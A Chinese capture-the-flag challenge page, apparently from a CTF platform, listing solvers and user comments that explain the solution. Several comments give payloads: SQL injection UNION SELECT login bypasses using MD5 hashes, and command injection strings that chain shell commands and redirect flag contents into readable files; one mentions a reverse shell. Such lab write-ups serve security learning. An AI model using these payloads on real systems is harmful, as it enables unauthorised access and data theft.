评分(12)
解题动态
nwnmc 攻破了该题 7小时前
yokoi 攻破了该题 10小时前
薄言. 攻破了该题 10小时前
huopt 攻破了该题 15小时前
店晓贰 攻破了该题 2天前
wesrdtfgy 攻破了该题 2天前
rehsag 攻破了该题 2天前
caomao 攻破了该题 3天前
jxkzs 攻破了该题 3天前
3Real 攻破了该题 3天前
桃酥妮妮 攻破了该题 4天前
二五一十七 攻破了该题 5天前
莫及 攻破了该题 5天前
heting 攻破了该题 6天前
bugkuaccount3214 攻破了该题 7天前
周文君 攻破了该题 7天前
香克斯呀 攻破了该题 7天前
sillyhamster 攻破了该题 8天前
yehlg 攻破了该题 8天前
评论
ilovevicky99 11月前
举报
用反弹shell的方法，为什么没有回显呀
zhuizhui 11月前
举报
' UNION SELECT 'admin' , '99754106633f94d350db34d548d6091a' FROM DUAL;#-- 123;cat /flag > test
xxsko 1年前
举报
学会了一个英语单词tip提示
zpxlz 8月前
举报
那很会学习了
DoubleUUU 1年前
举报
一顿sqlmap半小时，deepseek秒给payload：username = ' UNION SELECT "admin","202cb962ac59075b964b07152d234b70" -- &password = 123
liuguowang75 1年前
举报
登陆后，在检验窗口中输入：123 | ls / > a.txt ，可以看到用户目录中所有文件，
sunset2004 1年前
举报
username=admin' union select 1,md5(123)#&password=123，union生成临时表将md5后的123到表里，然后密码输入123即可绕过。RCE直接通过重定向符号即可，将无回显的结果保存到a.txt里即可，123 | cat ../../../../flag > a.txt
Zhou_re-pwn 1年前
举报
没太看懂这题出的啥意思，进入监控系统后，和wp的绕过一模一样，结果回显没有显示
Yoruko39 1年前
举报
sql注入+RCE，但主要是代码审计，进入命令界面后，发现可以用;截断执行命令，但无回显。 可以用重定向符，将执行结果输出到文件中，再访问/a.txt即可，例如可以;cat * > a.txt，此时可以看到当前目录下所有文件，审计发现flag在一个宏变量$FLAG里，echo到文件即可
toonavy 1年前
举报
进程监控系统 输入需要检测的服务 ,退币！！！
Zhumeng 1年前
举报
这里运用登录框返回包会看到tip 然后将tip base64解码得到 部分源码，这里字段为2 通过联合查询会产生一个临时表，md5(123) password=123成功绕过 然后回来到命令执行无回血 通过1; echo `cat /flag`>>1.txt 访问1.txt得到flag